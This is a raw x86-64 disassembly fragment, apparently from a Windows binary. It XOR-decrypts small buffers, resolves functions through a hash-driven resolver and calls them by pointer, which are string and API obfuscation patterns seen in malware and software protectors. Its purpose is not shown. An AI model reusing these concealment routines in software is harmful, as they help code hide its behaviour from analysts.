je 0x1402f41dc
movq xmm0, qword [0x1407414e0]
paddb xmm0, xmmword [0x1405f7ce0]
movq qword [0x1407414e0], xmm0
add byte [0x1407414e8], 0xcf
mov al, 0x30
xchg byte [0x1407414e9], al
mov rdi, r8
movzx eax, byte [0x140741503]
cmp al, 0xb6
je 0x1402f43c1
mov cl, 0x8b
mov al, pe_nt_image_headers64
lock cmpxchg byte [0x140741503], cl
je 0x1402f4323
cmp al, 0xb6
jne 0x1402f4233
jmp 0x1402f43c1
mov r10d, 0x805112cc
lea r11, [0x1405f7f40]
mov esi, 0x805112cd
add rsi, r11
lea rcx, [r10 + 1]
xor edi, edi
movabs rbx, 0x8888888888888889
lea r14, [0x1407415a0]
mov r8d, 0x805112cc
mov rax, rcx
mul rbx
mov r9, rdx
shr r9, 3
mov rax, r9
shl rax, 4
sub r9, rax
mov rax, r8
mul rbx
shr rdx, 3
mov rax, rdx
shl rax, 4
sub rdx, rax
add rdx, r11
add rdx, rdi
movzx eax, byte [rdi + r14]
xor al, byte [r10 + rdx]
movzx edx, byte [rdi + r14 + 1]
xor al, 0x60
xor dl, byte [rsi + r9]
mov byte [rdi + r14], al
xor dl, 0x60
mov byte [rdi + r14 + 1], dl
add rdi, 2
add rsi, 2
add rcx, 2
add r8, 2
cmp rdi, 0x10
jne 0x1402f427e
mov al, 0xb3
xchg byte [0x1407415b0], al
lea rax, [0x1407415a0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x140741590]
call fcn.1402f2d60
mov qword [0x140791328], rax
mov rcx, r13
call qword [0x140791328]
jmp 0x1402f45d7
mov ecx, 0x805112cc
lea r8, [rcx + 0x6606c7a5]
add rcx, 0x6606c7a6
xor r10d, r10d
movabs r11, 0x4ec4ec4ec4ec4ec5
lea rax, [0x1405f7ef0]
mov esi, 0xe657da6c
add rsi, rax
lea rbx, [0x1407414f0]
mov rax, rcx
mul r11
mov r9, rdx
mov rax, r8
mul r11
shr rdx, 2
imul rax, rdx, 0xfffffffffffffff3
add rax, rsi
movzx edx, byte [r10 + rbx]
xor dl, byte [r10 + rax + 5]
xor dl, 0xa
mov byte [r10 + rbx], dl
cmp r10, 0x12
je 0x1402f43b9
shr r9, 2
imul rax, r9, 0xfffffffffffffff3
add rax, rsi
add rax, 6
movzx edx, byte [r10 + rbx + 1]
xor dl, byte [rax + r10]
xor dl, 0xa
mov byte [r10 + rbx + 1], dl
add r10, 2
add rcx, 2
add r8, 2
jmp 0x1402f4359
mov al, 0xb6
xchg byte [0x140741503], al
lea rax, [0x1407414f0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x1407414e0]
call fcn.1402f2d60
mov qword [0x140791308], rax
mov r8, rdi
mov rcx, r8
mov rdx, r15
call qword [0x140791308]
jmp 0x1402f45d7
mov r8b, 0x8a
mov al, 0x48
lock cmpxchg byte [0x1407415df], r8b
je 0x1402f4463
cmp al, 0xb9
je 0x1402f441b
test bpl, 0x20
je 0x1402f43fc
jmp 0x1402f40df
lea rax, [0x1407415d0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x1407415c0]
mov rsi, rcx
mov rbx, rdi
mov rdi, rdx
call fcn.1402f2d60
mov rdx, rdi
mov rdi, rbx
mov rcx, rsi
mov qword [0x140791330], rax
mov r8, qword [rsp + 0x68]
mov r9, qword [rsp + 0x58]
jmp 0x1402f4569
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x80], r13
mov qword [rsp + 0x70], r15
mov eax, 1
mov r10d, 0x1a5c2e3f
mov r11d, 0xe5a3d1cd
mov ebp, 0x1a5c2e40
mov r13d, 0xe5a3d1cc
lea rsi, [0x1407415d0]
lea rdi, [0x1405f7f50]
mov r8, qword [rsp + 0x68]
mov r9, qword [rsp + 0x58]
mov ebx, r13d
imul rbx, rbx, 0x4ec4ec4f
shr rbx, 0x22
lea r15d, [rbx + rbx*2]
lea ebx, [rbx + r15*4]
add ebx, ebp
movzx ebx, byte [rbx + rdi]
xor bl, 0x46
add byte [rax + rsi - 1], bl
cmp rax, 0xf
je 0x1402f39e5
mov ebx, r11d
imul rbx, rbx, 0x4ec4ec4f
shr rbx, 0x22
lea r15d, [rbx + rbx*2]
lea ebx, [rbx + r15*4]
add ebx, r10d
mov ebx, ebx
movzx ebx, byte [rbx + rdi]
xor bl, 0x46
add byte [rax + rsi], bl
add rax, 2
add r10d, 0xfffffffe
add r11d, 2
add ebp, 0xfffffffe
add r13d, 2
jmp 0x1402f44a9
lea r10d, [rax - 0x51b802ec]
mov r11d, 0xcccccccd
imul r11, r10
shr r11, 0x24
shl r11d, 2
lea r10d, [r11 + r11*4]
neg r10d
add r10d, eax
add r10d, 0xae47fd14
cdqe
lea r11, [0x140741570]
movzx ebx, byte [rax + r11]
lea rsi, [0x1405f7f20]
sub rsi, r10
xor bl, byte [rsi + 0x13]
xor bl, 0xda
mov byte [rax + r11], bl
inc eax
cmp eax, 0x14
jge 0x1402f4596
test bpl, 0x40
jne 0x1402f4510
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], r12d
mov rcx, qword [rsp + 0x60]
mov rdx, r13
call qword [0x140791330]
jmp 0x1402f45d7
mov rsi, r8
mov al, 0xa5
xchg byte [0x140741584], al
lea rax, [0x140741570]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xea138e55
lea r8, [0x140741560]
call fcn.1402f2d60
mov qword [0x140791320], rax
mov r8, rsi
mov rcx, r12
mov edx, r8d
call qword [0x140791320]
mov eax, eax
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
sub rsp, 0x48
mov r8, rdx
mov qword [rsp + 0x20], rcx
mov edx, 0x4f79a0f2
call fcn.140308b60
nop
add rsp, 0x48
ret